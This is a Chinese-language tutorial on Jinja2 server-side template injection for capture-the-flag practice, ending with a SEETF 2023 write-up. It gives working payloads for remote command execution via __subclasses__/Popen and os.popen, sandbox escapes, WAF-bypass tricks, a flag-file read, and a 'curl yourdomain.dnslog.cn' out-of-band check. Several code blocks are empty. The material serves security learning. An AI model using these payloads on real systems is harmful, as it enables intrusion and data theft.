理论
什么是 SSTI?为什么它是一个漏洞?
什么是模板引擎?
在网站开发中,模板引擎是一种用来生成网页内容的工具。它允许开发者写一个“模板”,模板里可以写一些固定内容,也可以写一些占位符(变量),这些占位符在运行时会被真实数据替换。
比如你有一个模板:
1 | <html> |
当你访问网页时,服务器会把{{ username }}替换成具体的用户名,比如“小明”,然后给你展示:
1 | <html> |
这里{{ username }}就是模板语法中的变量占位符。
SSTI 是什么?
SSTI 是 Server-Side Template Injection(服务端模板注入) 的缩写。它是一种安全漏洞。
它发生的情况是:
- 网站接受用户输入(比如用户名、评论、搜索词等)
- 直接把用户输入放到模板里,且没有做任何过滤和限制
- 用户输入中可能包含恶意模板代码
- 服务器在渲染模板时,会把这些恶意代码当成正常模板代码执行
举个简单例子:
假设模板是:
1 | Hello, {{ user_input }}! |
如果正常用户输入小明,页面会显示Hello, 小明!。
但如果攻击者输入:
1 | {{ 7 * 7 }} |
服务器会把{{ 7 * 7 }}当成模板语法执行,计算7乘7,显示Hello, 49!
这个例子很简单,但如果模板引擎功能更强大,攻击者就能执行更多危险操作,比如读取文件、执行命令等。
为什么 SSTI 很危险?
- 服务器代码执行:攻击者可以执行任意代码,可能拿到服务器权限
- 数据泄露:能读取服务器上的敏感信息,比如配置文件、数据库密码
- 破坏系统:可能导致服务器崩溃,或者被用来做更高级的攻击
简单总结
- 模板引擎:用变量和模板语法生成网页内容
- SSTI:用户输入没过滤,恶意模板代码被执行
- 结果:攻击者能控制服务器执行代码,带来安全风险
常见模板引擎及其模板语法特点
为什么要了解不同模板引擎?
因为不同的语言和框架用的模板引擎不同,它们的语法也不完全一样。要判断一个网站是不是存在 SSTI,首先要识别用的是哪种模板引擎,然后才能构造合适的 payload(注入语句)。
常见的模板引擎分类(按语言划分)
| 编程语言 | 模板引擎 | 特点示例(打印 7*7) |
|---|---|---|
| Python | Jinja2 | {{ 7*7 }}→ 49 |
| PHP | Twig | {{ 7*7 }}→ 49 |
| Ruby | ERB | <%= 7*7 %>→ 49 |
| Java | Freemarker | ${7*7}→ 49 |
| Java | Velocity | #set($x = 7*7) $x→ 49 |
| JavaScript | EJS | <%= 7*7 %>→ 49 |
你需要记住的重点(先掌握 Jinja2)
我们最常见、最常练习的 SSTI 题目,一般都是基于 Python 的 Jinja2 模板引擎。
它的语法特点是:
- 变量:
{{ variable }} - 表达式:
{{ 1+2 }} - 函数调用:
{{ func() }} - 控制结构:
{% if ... %}、{% for ... %}(但用得较少)
Jinja2 功能强大,漏洞利用空间大,所以我们重点学习它。
Jinja2 的基本利用方式和变量调试方法
判断是否存在 SSTI(测试表达式执行)
如果你看到一个输入框、URL 参数、表单,内容被服务器处理后显示出来,你可以尝试:
1 | {{7*7}} |
如果页面显示:
1 | 49 |
说明服务器把你的内容当成了 Jinja2 模板表达式执行了。
探测变量(寻找“对象”)
Jinja2 是基于 Python 的模板引擎,它有很多内置的对象。即使你无法直接看到系统函数,也可以通过“找父类、找属性”慢慢探索出更多功能。
一个常见的调试技巧是:
1 | {{ ''.__class__ }} |
它会返回:
1 | <class 'str'> |
意思是:你构造了一个空字符串 '',然后用 . __class__ 找到了它的类,也就是 str。
到 __mro__ → 父类列表
1 | {{ ''.__class__.__mro__ }} |
输出会是一个元组(类的继承链):
1 | (<class 'str'>, <class 'object'>) |
这里你已经能访问到 object 类了,它是所有类的父类。
找到所有子类(核心技巧)
1 | {{ ''.__class__.__mro__[1].__subclasses__() }} |
这行代码的意思是:
''.__class__是str.__mro__[1]是object.__subclasses__()是object的所有子类(列表)
这个列表包含了所有 Python 中加载的类,比如:
<class 'warnings.catch_warnings'><class 'subprocess.Popen'>- …
如果你能在这里找到 subprocess.Popen,你就有机会执行系统命令了!
如何在 Jinja2 中利用 subprocess.Popen 执行命令
思路概览
Jinja2 是基于 Python 的,所以我们目标就是:
✅ 在模板中找到 Python 的某个“可以执行命令”的类,比如:
→ subprocess.Popen
→ 或者 os.system
然后我们通过模板语法调用它们:
1 | {{ 命令执行类("ls", shell=True, stdout=-1).communicate()[0] }} |
怎么找到 subprocess.Popen?
我们上一部分说到了可以找到所有类的列表:
1 | {{ ''.__class__.__mro__[1].__subclasses__() }} |
这会返回一个很长的列表,其中某一项就是 <class 'subprocess.Popen'>。
你可以像下面这样枚举看看:
1 | {{ ''.__class__.__mro__[1].__subclasses__()[index] }} |
你可以一个个试,比如:
1 | {{ ''.__class__.__mro__[1].__subclasses__()[408] }} |
只要输出类似:
1 | <class 'subprocess.Popen'> |
你就找到它了!这时候记住这个下标,比如是408。
造 payload 执行命令
找到了 Popen 之后,我们就能:
1 | jinja2 |
解释一下:
shell=True:允许像终端那样执行命令stdout=-1:表示捕获输出.communicate()[0]:获取执行结果
最终,这一段 payload 会在服务端执行 ls 命令,并把结果返回到网页上。
注意事项
- 如果不能使用
shell=True,可能只能执行二进制命令(麻烦点) - 某些环境中你找不到
subprocess,但可以找os.system、eval等其他方式(我们后面再讲) - 有时候输出是字节串(如:
b'flag.txt\n'),可以加.decode()或.strip()优化显示
总结这一部分
完整攻击流程如下:
1 | jinja2 |
这就是Jinja2 SSTI 命令执行的典型 payload。
更方便地找 subclass + 字符串构造技巧
无引号构造字符串技巧
有时候 WAF(防护系统)会限制你使用引号(" 或 '),比如你不能写:
1 | jinja2 |
这时你可以绕过,用 Python 的字符串构造方式。
方法一:用 chr() 拼接字符串
1 | {{ ''.join([chr(108), chr(115)]) }} |
→ 这会拼出字符串 "ls"
- 108 是
'l' - 115 是
's'
你可以用这种方法拼出任意命令,比如:
1 | jinja2 |
→ 拼出 cat /flag
方法二:用已知字符串切片
你还可以用已有的字符串来切,比如:
1 | {{ "class"[0] + "open"[1] }} |
→ 拼出 'co'
也可以写成:
1 | {{ ('abcde'*100)[100] }} |
→ 输出某个你想要的字符(用于更复杂绕过)
Jinja2 的沙箱逃逸和函数调用技巧(进阶 SSTI)
在一些环境下,Jinja2 可能启用了“沙箱模式”,意思是:
虽然有模板注入点,但模板语法的功能被“限制”了,不能直接访问敏感对象,比如 __class__、__subclasses__()、os 等。
这一部分我们讲的就是:如何在沙箱环境中逃逸出来,继续执行命令或读取文件。
什么是沙箱(sandbox)?
沙箱模式通常启用了一些保护:
- 不允许访问双下划线变量(
__xxx__) - 不允许访问 Python 的内建函数(如
open()、eval()) - 不允许访问系统模块(如
os、subprocess)
但其实这些保护并不牢靠,如果存在漏洞,我们可以通过 Jinja2 本身的模板语法逃逸出去。
函数调用逃逸技巧
Jinja2 本身会阻止你访问 __class__,但它不会阻止你使用 attr() 或 getitem() 等模板函数。
示例:用 attr() 调用被限制的属性
1 | jinja2 |
→ 作用和前面一样,但语法更隐蔽,容易绕过 WAF 或沙箱检查。
沙箱逃逸经典 payload(FileSystemLoader 漏洞)
如果你发现 Jinja2 模板上下文中包含了 **environment**,那你就有很大机会逃逸!
比如:
1 | jinja2 |
输出了:
1 | bash |
那你可以尝试访问它的环境对象:
1 | jinja2 |
然后构造 payload:
1 | jinja2 |
分析:
self.environment是当前模板环境. __class__.__init__.__globals__能拿到环境构造函数的全局变量- 其中包含了
os模块 .popen('ls').read()就是执行命令并读取结果!
SSTI 实战技巧与练习方向
出题人常用的 SSTI 套路
| 套路编号 | 描述 | 示例 |
|---|---|---|
| T1 | 回显明显 | 输入框或参数直接回显,容易发现漏洞 |
| T2 | 绕过黑名单 | 限制了 __class__、 subprocess、 os等关键字 |
| T3 | 没有回显 | 命令执行成功了但没有输出,要用 DNSlog 或文件落地判断 |
| T4 | 模板拼接漏洞 | 代码用字符串拼接模板,而不是传入变量 |
| T5 | Jinja2 非主线利用 | 不让你用 __subclasses__(),得用其他方式 RCE,比如 eval、 get_flashed_messages |
解题流程建议(新手通用)
- 观察页面功能:有没有输入框、参数能被展示出来?
- 测试表达式执行:尝试
{{7*7}}看是否变成 49 - 确认是哪个模板引擎:常见如 Jinja2、Twig、Velocity,先猜是 Jinja2
- 判断是否存在限制:尝试
.__class__或.__mro__是否报错 - 构造命令执行 payload:用
.subclasses__()+Popen,或环境对象绕过 - 没有回显怎么办?:
- 尝试命令写文件
/tmp/a.txt - 尝试 DNS 查询
curl yourdomain.dnslog.cn - 用
whoami、id、pwd这类命令调试
- 尝试命令写文件
构造更强大的 Payload(读取变量、RCE 等)
在这一部分,我们要开始从简单的 {{7*7}},升级到更复杂、更危险的利用,例如:
- 读取服务器上的 Python 变量
- 执行系统命令(比如
ls、cat /flag) - 绕过一些黑名单
🔍 第一步:了解你可以访问什么变量
SSTI 的一个核心点是:你可以访问 Jinja2 模板中的变量。
例如:
1 | jinja2 |
这个模板在后端执行时,如果传入了 user="小明",就会显示:
1 | nginx |
但是如果你控制了模板内容,就可以尝试访问其他变量,比如:
1 | jinja2 |
这些变量如果存在,你就能拿到其中的值,比如:
1 | jinja2 |
第二步:利用 Python 对象属性穿透执行命令(RCE)
我们目标是:拿到一个系统函数,比如 os.system(),然后执行命令!
关键利用链:
我们要想办法,从模板中找出一个“函数”,然后不断调用属性或方法,最终找到 os.system 这种“可利用”的危险函数。
经典链条(Jinja2专属)是:
1 | jinja2 |
🔍 解释一下:
''是一个空字符串.__class__是它的类,字符串的类是<class 'str'>.__mro__是“方法解析顺序”,可以获取其父类[1]是<class 'object'>.__subclasses__()是 object 的所有子类(系统内建的类)
这些子类中有个叫 <class 'subprocess.Popen'> 的类。
我们就可以:
1 | jinja2 |
这个 payload 会执行系统命令 ls,并返回输出!
怎么找 index?
你可以先把所有子类都列出来:
1 | jinja2 |
然后尝试找出 subprocess.Popen 所在的位置,比如说是第 392 个:
1 | jinja2 |
补充:Jinja2 自带的一些危险函数
你也可以用一些 Jinja2 暴露出来的函数,比如:
1 | jinja2 |
这条链很出名,用的是 cycler 的 __globals__ 字典获取 os 模块。
实践建议:
你可以现在在题目中尝试:
1 | jinja2 |
看看能不能列出所有类,或者用:
1 | jinja2 |
试图读一些配置变量。
WAF 绕过技巧(过滤字符怎么继续打 SSTI)
有些比赛或实际应用,为了防御 SSTI,会设置 WAF(Web 应用防火墙),过滤某些关键字符,比如:
__(双下划线)()(小括号)[](中括号).(点)import、os、eval等关键词
目标:绕过这些字符限制,依然执行 SSTI Payload
下面是几种常用的绕过思路:
- 利用
attr()函数绕过.属性名
在 Jinja2 中,你可以用 attr() 代替点运算符:
1 | jinja2 |
或者更通用地写成:
1 | jinja2 |
- 利用
|attr()和|replace()绕过__
1 | jinja2 |
如果过滤了 __,我们可以自己拼出它:
1 | jinja2 |
或者:
1 | jinja2 |
- 利用
join()/ljust()拼接关键字
举例:过滤了 os
1 | jinja2 |
如果过滤了 (),可以用 |attr 找到 .read 方法,然后用 |safe 或 |join 拼接后调用。
- 利用
dict、mro、subclasses()结合循环尝试找目标类
比如你无法写出完整的:
1 | jinja2 |
你可以遍历:
1 | jinja2 |
- 用 safe 过滤器解码 HTML 实体字符
有些场景中过滤器把 < 和 > 编码了:
1 | html |
🎯 重点总结
| 绕过目标 | 替代技巧 |
|---|---|
.点号 |
attr()、 getattr() |
__ |
拼接字符串、replace() |
() |
用 ` |
[] |
用 loop、 for遍历对象 |
os |
用拼接:'o'+'s' |
import |
用 __import__()、拼接、内建遍历等 |
[SEETF 2023]File Uploader 1
https://hackmd.io/@itami/r1BPWhSwn#2file-uploader-1
1 |
|
代码最后这句:
1 | return render_template_string(template) |
这是 Flask 的模板渲染函数之一,它接受一个字符串形式的模板,并执行其中的 Jinja2 模板表达式。
这就比普通的 render_template('index.html') 要危险很多,因为它不是在渲染一个静态 HTML 文件而是动态生成的字符串,里面的内容会被解释执行!
这个字符串是怎么来的?
来看这几句:
1 | template = f""" |
→ 也就是说:用户上传的文件名(**file.filename**)直接被拼进了模板字符串中,然后被 render_template_string() 渲染了。
这意味着,如果你上传一个文件,文件名中只要包含合法的 Jinja2 模板语法(如 **{{7*7}}**),它就会被解释执行!
1 | l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] |
1 | 针对过滤的字符,我们可以用:**{% print(...) %} ** |
Jinja2 模板语法分两种括号:
| 类型 | 写法 | 作用 |
|---|---|---|
| 输出表达式 | {{ ... }} |
把结果“显示”在网页上 |
| 执行语句 | {% ... %} |
执行某段代码,不自动输出 |
1 | 我们把文件命名为`{% print([].__class__.__base__.__subclasses__()%}` |
得到

然后在 99 找到:
1 | {% print(object.__subclasses__()[99]) %} |

FileLoader 是干嘛的?
它是 Python 内置模块中的一个类,用来 加载 Python 文件。
它的结构大概如下(简化):
1 | python |
你可以看到它的 get_data(path) 方法就是读取文件内容!
参数为什么是 (0, 'flag.txt')?
你传的是:
1 | .get_data(0, 'flag.txt') |
实际上真正的定义是:
1 | get_data(path: str) |
所以:
- 你只需要传一个参数:路径;
- 但这个类可能做了一些包装,
self.get_data(loader_context, path)也是可能的; - 所以传一个不影响读取的参数(
None、0)也行。
你只要试出来 **哪一类能用 ****.get_data()**,就可以传参数试着读文件。